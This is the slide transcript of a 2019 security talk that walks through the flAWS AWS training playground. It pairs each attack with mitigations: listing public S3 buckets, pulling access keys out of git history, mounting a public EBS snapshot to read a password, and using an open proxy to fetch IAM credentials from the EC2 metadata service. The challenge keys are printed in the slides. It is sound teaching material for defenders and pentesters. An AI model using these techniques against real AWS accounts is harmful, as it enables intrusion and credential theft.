Explosing AWS with flAWS

Explosing AWS with flAWS

As more web applications move to cloud hosting, the security landscape is changing. Whilst network & server level attacks should be mitigated (to some degree) in cloud environments, the complexity of these systems and the ease of which they can be used leads to a new scope for attacks on misunderstood, and thus, misconfigured cloud resources.

This talk will give examples of what to look for when securing or testing AWS setups, guided by flAWS, an online playground for exploiting vulnerabilities with AWS in a safe environment. The talk does not require knowledge of AWS, and the resource is free online for those who want to continue learning afterwards.

252d0f4267f1c118389b5e8cd4863178?s=128

Mike Lehan

August 29, 2019
Tweet

Transcript

  1. 3.

    flaws.cloud A training resource to learn about AWS misconfigurations -

    how to exploit & remedy Written by Scott Piper of Summit Route 3
  2. 5.

    “This level is *buckets* of fun. See if you can

    find the first sub-domain. 5 CURRENT URL http://flaws.cloud
  3. 6.

    S3 Simple Storage Service OBJECT A file along with its

    metadata and permissions BUCKET A geographically located object storage container 6
  4. 7.

    WEB HOSTING ▪ S3 makes it very easy to host

    static web sites ▪ Every bucket must have a globally unique name ▪ Each bucket is in an AWS region: us-east-1, eu-west-2… etc. ▪ For websites, bucket name must match web address ▪ All S3 websites accessible at: bucket-name.s3-website-region.amazonaws.com 7
  5. 8.

    TARGET RESEARCH 8 $ dig +noall +answer flaws.cloud flaws.cloud. 5

    IN A 52.218.249.163 Now we know our target is an S3 bucket in us-west-2. Can we see what’s in the bucket? $ nslookup 52.218.249.163 [...] s3-website-us-west-2.amazonaws.com.
  6. 9.

    AWS CLI 9 $ aws s3 ls s3://flaws.cloud --no-sign-request \

    --region us-west-2 ... 2018-07-10 17:47:16 3082 index.html 2017-02-27 01:59:30 1051 secret-dd02c7c.html Command line tool can run anonymously
  7. 10.

    MITIGATION ▪ When enabling website access S3 adds a policy

    giving any user the s3:GetObject permission 10 { "Version": "2008-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "AWS": "*" }, "Action": "s3:GetObject", "Resource": "arn:aws:s3:::your-bucket-name.com/*" } ] }
  8. 13.

    “ The next level is fairly similar, with a slight

    twist. You're going to need your own AWS account for this. You just need the free tier. 13 CURRENT URL http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/
  9. 14.

    CREATING YOUR TEST ACCOUNT ▪ Having your own AWS account

    is essential for testing ▪ Never access AWS as “root” if you can help it ▪ For the rest of these exercises find the IAM console, create a user with the AdminAccess policy ▪ Generate an Access Key from the security tab (you’ll only see the secret key once) ▪ For real use consider custom policies 14
  10. 15.

    CLI PROFILES 15 $ aws configure --profile bsides19 Using your

    own account gives you more control Enter your user’s access key, secret key, default region (e.g. us-west-2) and output (e.g. json)
  11. 16.

    ALL SET UP - RUN IT! 16 $ aws s3

    ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/ \ --profile bsides19 ... 2017-02-27 02:02:14 2786 index.html 2017-02-27 02:02:15 1051 secret-e4443fc.html
  12. 18.

    MITIGATION ▪ In older versions of the console this was

    easy to apply accidentally - that has been resolved ▪ When writing bucket policies or IAM policies relating to buckets, you can control which ACLs can be applied 18 { "Action": "s3:PutObject" "Resource":"arn:aws:s3:::your-bucket.com/*" "Condition": { "StringEquals": { "s3:x-amz-acl": [ "public-read" ] } } }
  13. 20.

    “ The next level is fairly similar, with a slight

    twist. Time to find your first AWS key! I bet you'll find something that will let you list what other buckets are. 20 CURRENT URL http://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/
  14. 21.

    LISTING BUCKET CONTENTS 21 $ aws s3 ls s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ \

    --no-sign-request --region us-west-2 PRE .git/ We start with what we did in challenge 1
  15. 22.

    S3 SYNC COMMAND 22 $ aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ \

    /tmp/flaws --no-sign-request --region us-west-2 Let’s extract those files $ cd /tmp/flaws $ git log commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 Oops, accidentally added something I shouldn't have commit f52ec03b227ea6094b04e43f475fb0126edb5a61 first commit
  16. 23.

    EXPLORING GIT FOR KEYS 23 $ git checkout f52e $

    ls access_keys.txt The last commit looks interesting, what was in the first one? $ cat access_keys.txt access_key AKIAJ366LIPB4IJKT7SA secret_access_key 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 $ aws configure --profile flaws-3 # with the keys above
  17. 24.

    A NEW ACCOUNT 24 $ aws s3 ls --profile flaws-3

    ... 2017-02-26 18:49:31 level4-1156739cfb264ced6de514971a4bef68.flaws.cloud What can we find with the new keys?
  18. 25.

    MITIGATION ▪ Other existing vulnerabilities were needed to expose this

    problem ▪ When syncing files make sure to ignore .git ▪ Don’t commit credentials in the first place ▪ If credentials are exposed (or you think they might be) don’t cover it up - revoke them immediately 25
  19. 27.

    “ For the next level, you need to get access

    to the web page running on an EC2 at 4d0cf09b9b2d761a7d87be99d1750 7bce8b86f3b.flaws.cloud It'll be useful to know that a snapshot was made of that EC2 shortly after nginx was setup on it. 27 CURRENT URL http://level4-1156739cfb264ced6de514971a4bef68.flaws.cloud/
  20. 28.

    EC2 Elastic Compute Cloud - servers, basically EBS Elastic Block

    Store - hard disks for EC2 SNAPSHOT Full copy of a disk, stored in S3 but not accessible via S3 28
  21. 29.

    EC2 SNAPSHOTS 29 $ aws sts get-caller-identity --profile flaws-3 ...

    "Account": "975426262029" Snapshots are often made public to transfer them between accounts. You just need an account ID... $ aws ec2 describe-snapshots --owner-id 975426262029 \ --profile bsides19 --region us-west-2 ... "SnapshotId": "snap-0b49342abd1bdcb89", "Encrypted": false
  22. 30.

    EXPLOITING OPEN SNAPSHOTS ▪ In the AWS console or CLI

    create a volume using a known snapshot ID ▪ Create a new EC2 instance and use this volume as one of the storage options ▪ On creating an instance you provide an SSH key ▪ Sign in to the instance with this key ▪ Mount the volume internally (commands differ per OS) 30
  23. 31.

    EXAMINING THE DISK 31 $ ls /mnt/home/ubuntu/ … setupNginx.sh $

    cat /mnt/home/ubuntu/setupNginx.sh ... htpasswd -b /etc/nginx/.htpasswd flaws nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M Visit 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud
  24. 32.

    MITIGATION ▪ Don’t open snapshots to the public unless that’s

    your ultimate goal - and be very careful if it is! ▪ When sharing, share with one specific account via its account ID (could be time consuming for >1 account) ▪ Encrypt snapshots - this way an accidentally exposed snapshot is useless without the encryption key 32
  25. 34.

    “ This EC2 has a simple HTTP only proxy on

    it. Here’s an example of it's usage: http:/ /4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.fla ws.cloud/proxy/neverssl.com/ See if you can use this proxy to figure out how to list the contents of the level6 bucket at level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud that has a hidden directory in it. 34 CURRENT URL http://level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud/ 243f422c/
  26. 35.

    EC2 METADATA ▪ Every EC2 instance can access a “meta

    data” server at “169.254.169.254” to allow applications access to an IAM role ▪ Why a web server? This provides the most widely compatible mechanism for any application to fetch data ▪ Meta data service also gives info about the machine, network, image used, etc. ▪ Open proxies could allow external access to this... 35
  27. 37.

    WHAT’S AVAILABLE? 37 $ curl {long-url}/169.254.169.254/latest/meta-data/ local-ipv4 mac metrics/ network/

    placement/ profile public-hostname public-ipv4 public-keys/ reservation-id security-groups services/ ami-id ami-launch-index ami-manifest-path block-device-mapping/ events/ hostname iam/ identity-credentials/ instance-action instance-id Instance-type local-hostname
  28. 38.

    SHOW ME THE CREDS 38 $ curl {long-url}/{ip}/latest/meta-data/iam/security-credentials/flaws/ "AccessKeyId" :

    "ASIA6GG7PSQGZ7GSQOXZ", "SecretAccessKey" : "NEyuqZXZXo0z1MB2sP4d455R1NDPFdrRyv9mvRPX", "Token" : "{really long string}", Set these credentials up as a profile (flaws-5) BUT they won’t work without adding another line to ~/.aws/credentials [flaws-5] … aws_session_token = {really long string above}
  29. 40.

    MITIGATION ▪ Don’t run proxies! ▪ If you need to,

    use a whitelist of allowed proxy domains or restrict to trusted users (?!) ▪ Specifically block the meta-data IP in your proxy, or using a firewall in front of your application (WAF) ▪ Nuclear option: route tables can block all local applications from meta-data service 40
  30. 42.

    “ For this final challenge, you're getting a user access

    key that has the SecurityAudit policy attached to it. See what else it can do and what else you might find in this AWS account. Access key ID: AKIAJFQ6E7BY57Q3OBGA Secret: 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 42 CURRENT URL http://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ ddcc78ff/
  31. 43.

    THE CANNED POLICY ▪ AWS provide “canned policies” - custom

    policies that allow users a range of access ▪ Often overly permissioned to avoid tools not working as expected for users ▪ Where possible it’s best to write your own policies based on the least privilege principle 43
  32. 44.

    SecurityAudit ▪ A canned policy allowing examination of resources in

    an account ▪ Allows viewing of policy content meaning a user can figure out what rights they’ve been given ▪ Knowing what permissions you have avoids triggering monitoring on disallowed actions 44
  33. 45.

    DIY 45 Completing level 6 takes a lot of individual

    steps and is more interesting as a concept than following it through on a slideshow. Go try it for yourself with what you’ve learned!
  34. 46.

    IN SUMMARY ▪ Roll credentials regularly; roll immediately if you

    suspect they are compromised (check out aws-vault) ▪ Apply least privilege on all IAM entities (and prefer roles over giving policies to users or groups) ▪ S3 has new “block public access” features - use them, but understand the underlying permissions ▪ Pentesters: check buckets, find creds, examine policies! 46
  35. 47.

    THANK YOU! Feedback or questions? https:/ /sched.co/R0EJ Twitter: @m1ke Slack:

    #og-aws 47 Thanks to Scott Piper for flaws.cloud and to slidescarnival.com for the slide theme